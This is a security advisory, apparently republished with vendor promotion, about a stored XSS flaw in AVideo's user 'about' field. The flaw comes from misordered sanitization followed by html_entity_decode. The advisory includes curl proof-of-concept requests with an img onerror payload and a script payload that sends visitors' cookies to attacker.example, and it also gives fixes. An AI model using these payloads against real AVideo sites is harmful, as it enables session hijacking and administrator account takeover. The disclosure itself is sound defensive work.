GHSA-ghx5-7jjg-q2j7
MEDIUMAVideo vulnerable to Stored XSS via html_entity_decode() Reversing xss_esc() Sanitization in Channel About Field
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A sanitization order-of-operations flaw in the user profile "about" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The xss_esc() function entity-encodes input before strip_specific_tags() can match dangerous HTML tags, and html_entity_decode() on output reverses the encoding, restoring the raw malicious HTML.
Details
Input sanitization in objects/user.php:156:
public function setAbout($about)
{
$this->about = strip_specific_tags(xss_esc($about));
}
The call order is strip_specific_tags(xss_esc($about)). The inner xss_esc() function (objects/functionsSecurity.php:233) calls htmlspecialchars():
$result = @htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
This encodes <script>alert(1)</script> to <script>alert(1)</script>.
Then strip_specific_tags() (objects/functions.php:6623-6636) runs regex patterns to remove dangerous tags:
$string = preg_replace('/<' . $tag . '[^>]*>(.*?)<\/' . $tag . '>/s', $replacement, $string);
But the regex looks for literal <script> — it can never match the entity-encoded <script>. The sanitizer is completely neutralized by the encoding that precedes it.
Output in view/channelBody.php:239-246:
$about = html_entity_decode($user->getAbout());
if (!empty($advancedCustomUser->showAllAboutTextOnChannel)) {
echo $about;
} else {
?>
<div id="aboutAreaPreContent">
<div id="aboutAreaContent">
<?php echo $about; ?>
</div>
</div>
The html_entity_decode() call reverses the htmlspecialchars() encoding, restoring the original raw HTML including <script> tags. The result is echoed directly into the page without any further escaping.
Secondary vector: The <img> tag is not in the strip_specific_tags blocklist (['script', 'style', 'iframe', 'object', 'applet', 'link']), so payloads like <img src=x onerror=...> bypass even the intended tag stripping entirely.
The about field is set via objects/userUpdate.json.php:28, accessible to any logged-in user:
$user->setAbout($_POST['about']);
The channel page (view/channelBody.php) is publicly accessible — no authentication is required to view it.
PoC
Step 1: Log in as any registered user and update the "about" field:
curl -X POST 'https://TARGET/objects/userUpdate.json.php' \
-H 'Cookie: PHPSESSID=ATTACKER_SESSION' \
-d 'about=<img src=x onerror=alert(document.cookie)>&user=attacker&pass=password123&[email protected]&name=Attacker&analyticsCode=&donationLink=&phone='
Step 2: Any user (including unauthenticated visitors) navigates to the attacker's channel page:
https://TARGET/channel/attacker
Expected result: The JavaScript in the onerror handler executes in the visitor's browser, displaying their session cookie.
Alternative payload using <script> tag (also works due to the sanitization bypass):
curl -X POST 'https://TARGET/objects/userUpdate.json.php' \
-H 'Cookie: PHPSESSID=ATTACKER_SESSION' \
-d 'about=<script>fetch("https://attacker.example/steal?c="%2Bdocument.cookie)</script>&user=attacker&pass=password123&[email protected]&name=Attacker&analyticsCode=&donationLink=&phone='
Impact
- Session hijacking: Attacker can steal session cookies of any user (including administrators) who visits their channel page
- Account takeover: Stolen admin session tokens allow full administrative access to the AVideo instance
- Phishing: Attacker can inject fake login forms or redirect users to malicious sites
- Worm potential: Stored XSS could modify other users' profiles programmatically, creating a self-propagating worm
This is a stored XSS affecting all visitors to any attacker-controlled channel page, with no user interaction beyond navigating to the page.
Recommended Fix
Option 1 (Recommended — remove html_entity_decode): The entity-encoded string is already safe for display. Remove the decode call in view/channelBody.php:
// Before (VULNERABLE):
$about = html_entity_decode($user->getAbout());
// After (FIXED):
$about = $user->getAbout();
Option 2 (If rich HTML is intended): Reverse the sanitization order in objects/user.php:156 and use a proper sanitizer:
// Before (VULNERABLE):
$this->about = strip_specific_tags(xss_esc($about));
// After (FIXED — strip tags on raw HTML first, then encode):
$this->about = xss_esc(strip_specific_tags($about));
Option 3 (Best — if rich HTML in about is desired): Replace both strip_specific_tags() and xss_esc() with HTMLPurifier, which properly handles allowlisted HTML sanitization:
require_once 'vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,br,b,i,u,a[href],ul,ol,li,strong,em');
$purifier = new HTMLPurifier($config);
$this->about = $purifier->purify($about);
And on output, remove html_entity_decode() — output the purified HTML directly.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-ghx5-7jjg-q2j7 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-ghx5-7jjg-q2j7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-ghx5-7jjg-q2j7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-ghx5-7jjg-q2j7 in your dependencies?
O3 detects GHSA-ghx5-7jjg-q2j7 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.